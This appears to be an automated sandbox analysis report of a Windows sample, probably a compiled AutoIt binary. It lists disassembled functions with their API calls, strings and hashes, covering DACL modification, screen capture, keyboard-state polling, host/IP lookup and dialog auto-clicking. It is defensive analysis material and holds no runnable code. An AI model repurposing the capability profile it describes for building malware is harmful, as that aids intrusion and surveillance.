Part of subcall function 00FD874A: GetProcessHeap.KERNEL32(00000008,?,?,00FD822A,?,?,?), ref: 00FD877F
Part of subcall function 00FD874A: HeapAlloc.KERNEL32(00000000,?,00FD822A,?,?,?), ref: 00FD8786
Part of subcall function 00FD874A: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00FD879D

Part of subcall function 00FD87E7: GetProcessHeap.KERNEL32(00000008,00FD8240,00000000,00000000,?,00FD8240,?), ref: 00FD87F3
Part of subcall function 00FD87E7: HeapAlloc.KERNEL32(00000000,?,00FD8240,?), ref: 00FD87FA
Part of subcall function 00FD87E7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00FD8240,?), ref: 00FD880B

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00FD8458
_memset.LIBCMT ref: 00FD846D
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00FD848C
GetLengthSid.ADVAPI32(?), ref: 00FD849D
GetAce.ADVAPI32(?,00000000,?), ref: 00FD84DA
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00FD84F6
GetLengthSid.ADVAPI32(?), ref: 00FD8513
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00FD8522
HeapAlloc.KERNEL32(00000000), ref: 00FD8529
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00FD854A
CopySid.ADVAPI32(00000000), ref: 00FD8551
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00FD8582
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00FD85A8
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00FD85BC

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: ecbac443115d7918cafc5f51ffd6e33c21e495623bc677de6157fcd90d6f6502
Instruction ID: ccdf8b4dd03d4b4249885c34b66b0daf2cfcb41093993f6c2f9bbdaa8b940d5d
Opcode Fuzzy Hash: ecbac443115d7918cafc5f51ffd6e33c21e495623bc677de6157fcd90d6f6502
Instruction Fuzzy Hash: 79615F7190020AAFDF11DF95DC45AEEBB7AFF05360F08815AF915A7280DB359A05EF60

Function 00FF762D Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00FF76A2
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00FF76AE
CreateCompatibleDC.GDI32(?), ref: 00FF76BA
SelectObject.GDI32(00000000,?), ref: 00FF76C7
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00FF771B
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00FF7757
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00FF777B
SelectObject.GDI32(00000006,?), ref: 00FF7783
DeleteObject.GDI32(?), ref: 00FF778C
DeleteDC.GDI32(00000006), ref: 00FF7793
ReleaseDC.USER32(00000000,?), ref: 00FF779E

Strings

(, xrefs: 00FF7723

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: cd083deedbe698b656d32956935cffcb2b98f88bd4054c0654a42fda8b46ba4f
Instruction ID: e9a8d5feadea0053a8dd008c49333e0f41301c600f843919c7a803e7eaba2dea
Opcode Fuzzy Hash: cd083deedbe698b656d32956935cffcb2b98f88bd4054c0654a42fda8b46ba4f
Instruction Fuzzy Hash: B2515A76904309EFCB25DFA8CC84EAEBBB9EF48310F14851DFA9997210D735A840DB60

Function 00FEA0B5 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,0100FB78), ref: 00FEA0FC

Part of subcall function 00F87F41: _memmove.LIBCMT ref: 00F87F82

LoadStringW.USER32(?,?,00000FFF,?), ref: 00FEA11E
__swprintf.LIBCMT ref: 00FEA177
__swprintf.LIBCMT ref: 00FEA190
_wprintf.LIBCMT ref: 00FEA246
_wprintf.LIBCMT ref: 00FEA264

Strings

"%s" (%d) : ==> %s:, xrefs: 00FEA25F
Line %d (File "%s"):, xrefs: 00FEA171, 00FEA18A
^ ERROR, xrefs: 00FEA1E8
"%s" (%d) : ==> %s:%s%s, xrefs: 00FEA241
Error: , xrefs: 00FEA20E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: 1efed6af612c382c187ea2765d1e5a051ed727c88fa17814797da6cdcb160a41
Instruction ID: bd136bfcc1849a352ca19494d5812c0d33ca5610da3f78a6357b48091803c041
Opcode Fuzzy Hash: 1efed6af612c382c187ea2765d1e5a051ed727c88fa17814797da6cdcb160a41
Instruction Fuzzy Hash: A0516F72900209ABCF15FBE1CD86EEEB779AF05700F240165F50572091EB3AAF58EB61

Function 00F86BEC Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00FA0B9B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00F86C6C,?,00008000), ref: 00FA0BB7

Part of subcall function 00F848AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00F848A1,?,?,00F837C0,?), ref: 00F848CE

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00F86D0D
SetCurrentDirectoryW.KERNEL32(?), ref: 00F86E5A

Part of subcall function 00F859CD: _wcscpy.LIBCMT ref: 00F85A05

Part of subcall function 00FA387D: _iswctype.LIBCMT ref: 00FA3885

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00FBE8BF
Unterminated string, xrefs: 00FBEC0D
AU3!, xrefs: 00F86CC1
EA06, xrefs: 00FBE87B
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00FBE84A
Error opening the file, xrefs: 00FBE866, 00FBE8E1
Bad directive syntax error, xrefs: 00FBEBC6

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-1018226102
Opcode ID: b8ca77b157113af82c6b164ef828db85f1443f929871ae166c5ad4b95f4ffeab
Instruction ID: cff05e96114a3f5fa2f78e315aeac9293e83e9706506f734746ca8e8b691ff6e
Opcode Fuzzy Hash: b8ca77b157113af82c6b164ef828db85f1443f929871ae166c5ad4b95f4ffeab
Instruction Fuzzy Hash: 7302BA315083419FC724EF25C881AEFBBE5BF89714F14491DF486972A1DB38D949EB42

Function 00F845DF Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F845F9
GetMenuItemCount.USER32(01046890), ref: 00FBD7CD
GetMenuItemCount.USER32(01046890), ref: 00FBD87D
GetCursorPos.USER32(?), ref: 00FBD8C1
SetForegroundWindow.USER32(00000000), ref: 00FBD8CA
TrackPopupMenuEx.USER32(01046890,00000000,?,00000000,00000000,00000000), ref: 00FBD8DD
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00FBD8E9

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: 098067b83453895ce6c4184b2712f44efc45c3b29a84801c75eb11c7c24455b0
Instruction ID: 8a19ad936b1b9f6d41c8a76de25054064e628b587cd0a77cd537818c48dc3799
Opcode Fuzzy Hash: 098067b83453895ce6c4184b2712f44efc45c3b29a84801c75eb11c7c24455b0
Instruction Fuzzy Hash: 8971D371A01216BBEB319F16DC45FEAFF69FB05364F200216F514661D0EBB66810EB91

Function 010010A5 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,01000038,?,?), ref: 010010BC

Strings

HKEY_CLASSES_ROOT, xrefs: 0100114F
HKCR, xrefs: 01001164
HKCU, xrefs: 010011AC
HKEY_LOCAL_MACHINE, xrefs: 01001125
HKLM, xrefs: 0100113A
HKEY_CURRENT_CONFIG, xrefs: 01001179
HKEY_CURRENT_USER, xrefs: 0100119B
HKEY_USERS, xrefs: 010011BD
HKCC, xrefs: 0100118A
HKU, xrefs: 010011CE

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: eb9f14a9e46b75084724fcf4c2d6e74c6c1831f3f42fe775a6c4275de3a53d36
Instruction ID: 5ff301f7ea379d9e628becafab7f59fcbc9ad36d4a1fe27f855cf03645fd26ae
Opcode Fuzzy Hash: eb9f14a9e46b75084724fcf4c2d6e74c6c1831f3f42fe775a6c4275de3a53d36
Instruction Fuzzy Hash: 65417CB110024A8BEF16EF94ED81AEE3764BF5A304F504444FCD15B292DF34E92ADBA0

Function 00FE5569 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00F87D2C: _memmove.LIBCMT ref: 00F87D66

Part of subcall function 00F87A84: _memmove.LIBCMT ref: 00F87B0D

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00FE55D2
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00FE55E8
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00FE55F9
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00FE560B
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00FE561C

Strings

status PlayMe mode, xrefs: 00FE55CD
play PlayMe wait, xrefs: 00FE5606
close PlayMe, xrefs: 00FE55E3, 00FE5610
alias PlayMe, xrefs: 00FE55AB
play PlayMe, xrefs: 00FE5617
open , xrefs: 00FE5581

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 3533acb3b485076737537ec6a68f1e4629556db3be289b811b5f78f348f1847c
Instruction ID: 8980fb669a2f7a06e47820734d8af753550230dc060fa88d96d66f7d808f4483
Opcode Fuzzy Hash: 3533acb3b485076737537ec6a68f1e4629556db3be289b811b5f78f348f1847c
Instruction Fuzzy Hash: 8611B221A50269B9DB20B663CC8AEFFBB7CEFD1F04F50041AB485E7091DEA45D05DAA0

Function 00FE48F3 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00FE490E
gethostname.WSOCK32(?,00000100), ref: 00FE4928
gethostbyname.WSOCK32(?), ref: 00FE4935
_wcscpy.LIBCMT ref: 00FE495D
_memmove.LIBCMT ref: 00FE4970
inet_ntoa.WSOCK32(?), ref: 00FE497B
_strcat.LIBCMT ref: 00FE4989
_wcscpy.LIBCMT ref: 00FE49A0
WSACleanup.WSOCK32 ref: 00FE49AE
_wcscpy.LIBCMT ref: 00FE49BC

Strings

0.0.0.0, xrefs: 00FE4957

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: fe8a5bf9a3c39ce32540af5d6dde44629f77423b8051e859f86004cbc58d9fe9
Instruction ID: 5d75993e48a9965f0a7940026724a72aa9cc16733f29441405313a923676ea17
Opcode Fuzzy Hash: fe8a5bf9a3c39ce32540af5d6dde44629f77423b8051e859f86004cbc58d9fe9
Instruction Fuzzy Hash: 5B110571A04119AFCB31EB259C06EDF77BCAB41720F0401A9F448A6042EFB9AA81B761

Function 00FE5217 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00FE521C

Part of subcall function 00FA0719: timeGetTime.WINMM(?,75A8B400,00F90FF9), ref: 00FA071D

Sleep.KERNEL32(0000000A), ref: 00FE5248
EnumThreadWindows.USER32(?,Function_000651CA,00000000), ref: 00FE526C
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00FE528E
SetActiveWindow.USER32 ref: 00FE52AD
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00FE52BB
SendMessageW.USER32(00000010,00000000,00000000), ref: 00FE52DA
Sleep.KERNEL32(000000FA), ref: 00FE52E5
IsWindow.USER32 ref: 00FE52F1
EndDialog.USER32(00000000), ref: 00FE5302

Strings

BUTTON, xrefs: 00FE5280

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: b4c682b658192ac3b3ae952c235c4f657e7bb25df2f3e4227990fb510fdd7bf0
Instruction ID: 99e787a1bbccec195713a7360d71d1d549fbc688877c928d7a19ff1d124d6681
Opcode Fuzzy Hash: b4c682b658192ac3b3ae952c235c4f657e7bb25df2f3e4227990fb510fdd7bf0
Instruction Fuzzy Hash: 4121F6B4600785AFE7315F31EEC8B253B6AEB49B9AF400414F18186194DBFF9C04B7A2

Function 00FED7F8 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00F89997: __itow.LIBCMT ref: 00F899C2
Part of subcall function 00F89997: __swprintf.LIBCMT ref: 00F89A0C

CoInitialize.OLE32(00000000), ref: 00FED855
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00FED8E8
SHGetDesktopFolder.SHELL32(?), ref: 00FED8FC
CoCreateInstance.OLE32(01012D7C,00000000,00000001,0103A89C,?), ref: 00FED948
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00FED9B7
CoTaskMemFree.OLE32(?,?), ref: 00FEDA0F
_memset.LIBCMT ref: 00FEDA4C
SHBrowseForFolderW.SHELL32(?), ref: 00FEDA88
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00FEDAAB
CoTaskMemFree.OLE32(00000000), ref: 00FEDAB2
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00FEDAE9
CoUninitialize.OLE32(00000001,00000000), ref: 00FEDAEB

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: a84fefa0d4e0171bed90921977b1e3c82e9a9a4aff1e2084e861651d66a776fa
Instruction ID: 5e8f752c7ca1ffc0a77ae497c42f39049f4aa4df9e8afa1cdb0f706989ee9da7
Opcode Fuzzy Hash: a84fefa0d4e0171bed90921977b1e3c82e9a9a4aff1e2084e861651d66a776fa
Instruction Fuzzy Hash: 42B10A75A00109AFDB14DFA5CC88EAEBBB9EF48714B048469F809EB251DB35EE41DB50

Function 00FE052C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00FE05A7
SetKeyboardState.USER32(?), ref: 00FE0612
GetAsyncKeyState.USER32(000000A0), ref: 00FE0632
GetKeyState.USER32(000000A0), ref: 00FE0649
GetAsyncKeyState.USER32(000000A1), ref: 00FE0678
GetKeyState.USER32(000000A1), ref: 00FE0689
GetAsyncKeyState.USER32(00000011), ref: 00FE06B5
GetKeyState.USER32(00000011), ref: 00FE06C3
GetAsyncKeyState.USER32(00000012), ref: 00FE06EC
GetKeyState.USER32(00000012), ref: 00FE06FA
GetAsyncKeyState.USER32(0000005B), ref: 00FE0723
GetKeyState.USER32(0000005B), ref: 00FE0731

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 39934009732a92e584e6f0f5a716aa782012b69d67a6ab313cbb68c88661502f
Instruction ID: 1b997a7b73d8ea6667a8074285cab6dbe300ea27039cfdc263f866bff8fdd05c
Opcode Fuzzy Hash: 39934009732a92e584e6f0f5a716aa782012b69d67a6ab313cbb68c88661502f
Instruction Fuzzy Hash: 7951CA70E047C829FB35DBA288547EABFB49F41390F084599D5C2561C2DEE89BCCEB61

Function 00FDC72A Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00FDC746
GetWindowRect.USER32(00000000,?), ref: 00FDC758
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00FDC7B6
GetDlgItem.USER32(?,00000002), ref: 00FDC7C1
GetWindowRect.USER32(00000000,?), ref: 00FDC7D3
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00FDC827
GetDlgItem.USER32(?,000003E9), ref: 00FDC835
GetWindowRect.USER32(00000000,?), ref: 00FDC846
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00FDC889
GetDlgItem.USER32(?,000003EA), ref: 00FDC897
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00FDC8B4
InvalidateRect.USER32(?,00000000,00000001), ref: 00FDC8C1

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 6f1c7a528f9f5c349aa7e7f5e4e151bc03c9954ea148d422dc88734c0647c53e
Instruction ID: 1f8b64dceba77728ccd721840dbca74cdc14614eec417bb17101b0ec70866d1b
Opcode Fuzzy Hash: 6f1c7a528f9f5c349aa7e7f5e4e151bc03c9954ea148d422dc88734c0647c53e
Instruction Fuzzy Hash: FC512E71B00206ABDB28CF79DD89AAEBBBAFB88310F14812DF515D7294DB759D00DB50

Function 00F8201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00F81B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00F82036,?,00000000,?,?,?,?,00F816CB,00000000,?), ref: 00F81B9A

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00F820D3
KillTimer.USER32(-00000001,?,?,?,?,00F816CB,00000000,?,?,00F81AE2,?,?), ref: 00F8216E
DestroyAcceleratorTable.USER32(00000000), ref: 00FBBEF6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00F816CB,00000000,?,?,00F81AE2,?,?), ref: 00FBBF27
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00F816CB,00000000,?,?,00F81AE2,?,?), ref: 00FBBF3E
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00F816CB,00000000,?,?,00F81AE2,?,?), ref: 00FBBF5A
DeleteObject.GDI32(00000000), ref: 00FBBF6C

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: a8914645d3fe216695e85a75c89bd1baf088bbdcb6c661ac4ab8ac05d7fd1f34
Instruction ID: 56cf0a545e55ac9c56d9065ec69cad7143d69571e73313ca8c5b78b27da0c283
Opcode Fuzzy Hash: a8914645d3fe216695e85a75c89bd1baf088bbdcb6c661ac4ab8ac05d7fd1f34
Instruction Fuzzy Hash: 1361AB75900611DFDB36AF55DA88BA9B7F1FF41322F10451CE0828A564D77AB881FF50

Function 00F821A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00F825DB: GetWindowLongW.USER32(?,000000EB), ref: 00F825EC

GetSysColor.USER32(0000000F), ref: 00F821D3

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
